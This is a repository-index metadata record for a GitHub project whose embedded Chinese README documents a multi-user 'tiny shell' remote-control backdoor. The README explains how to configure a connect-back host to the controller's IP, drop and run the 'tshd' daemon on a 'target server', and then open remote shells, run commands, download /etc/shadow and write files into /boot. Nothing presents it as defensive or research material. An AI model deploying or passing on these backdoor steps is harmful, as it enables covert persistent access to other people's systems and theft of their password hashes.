{"id":13840119,"url":"https://github.com/yukar1z0e/cloudswordtsh","last_synced_at":"2025-07-11T07:32:30.907Z","repository":{"id":109163355,"uuid":"532253060","full_name":"yukar1z0e/cloudswordtsh","owner":"yukar1z0e","description":"多用户版linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf的远控tiny shell","archived":false,"fork":false,"pushed_at":"2022-09-15T11:58:31.000Z","size":22,"stargazers_count":4,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-08-05T17:24:44.692Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/yukar1z0e.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2022-09-03T12:25:50.000Z","updated_at":"2022-11-18T01:26:33.000Z","dependencies_parsed_at":"2023-06-07T20:30:59.974Z","dependency_job_id":null,"html_url":"https://github.com/yukar1z0e/cloudswordtsh","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yukar1z0e%2Fcloudswordtsh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yukar1z0e%2Fcloudswordtsh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yukar1z0e%2Fcloudswordtsh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yukar1z0e%2Fcloudswordtsh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/yukar1z0e","download_url":"https://codeload.github.com/yukar1z0e/cloudswordtsh/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225705234,"owners_count":17511250,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:00:42.215Z","updated_at":"2024-11-21T09:30:59.207Z","avatar_url":"https://github.com/yukar1z0e.png","language":"C","funding_links":[],"categories":["C"],"sub_categories":[],"readme":"# cloudsword-tsh\n\n## 说明\n\n`tsh`的多用户修改版。\n基本使用方法与`tsh`相似，添加了多台机器区分上线的功能。\n\n## 使用方式\n\n修改`tsh.h`的`*secret`、`SERVER_PORT`、`CONNECT_BACK_HOST`\n正向连接时`CONNECT_BACK_HOST`为`localhost`\n反向连接是`CONNECT_BACK_HOST`为`控制端服务器IP`\n\n1、执行`make linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf`，生成linux/freebsd/openbsd/netbsd/cygwin/sunos/irix/hpux/osf版的tshd和tsh\n\n2、`tshd`传至目标服务器，`tsh`为本机控制端\n\n3、在目标服务器执行\n\n```bash\numask 077; HOME=/var/tmp ./tshd\n```\n\n## 正向连接\n\n1、开启shell\n\n```bash\n./tsh \u003c目标服务器IP\u003e\n```\n\n2、执行单条命令\n\n```bash\n./tsh \u003c目标服务器IP\u003e \"uname -a\"\n```\n\n3、上传/下载文件\n\n```bash\n./tsh \u003c目标服务器IP\u003e get /etc/shadow .\n./tsh \u003c目标服务器IP\u003e put vmlinuz /boot\n```\n\n## 反向链接(多目标模式)\n\n1、开启shell\n\n```bash\n./tsh bc-\u003c目标服务器IP\u003e\n```\n\n2、执行单条命令\n\n```bash\n./tsh bc-\u003c目标服务器IP\u003e \"uname -a\"\n```\n\n3、上传/下载文件\n\n```bash\n./tsh bc-\u003c目标服务器IP\u003e get /etc/shadow .\n./tsh bc-\u003c目标服务器IP\u003e put vmlinuz /boot\n```","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyukar1z0e%2Fcloudswordtsh","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fyukar1z0e%2Fcloudswordtsh","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fyukar1z0e%2Fcloudswordtsh/lists"}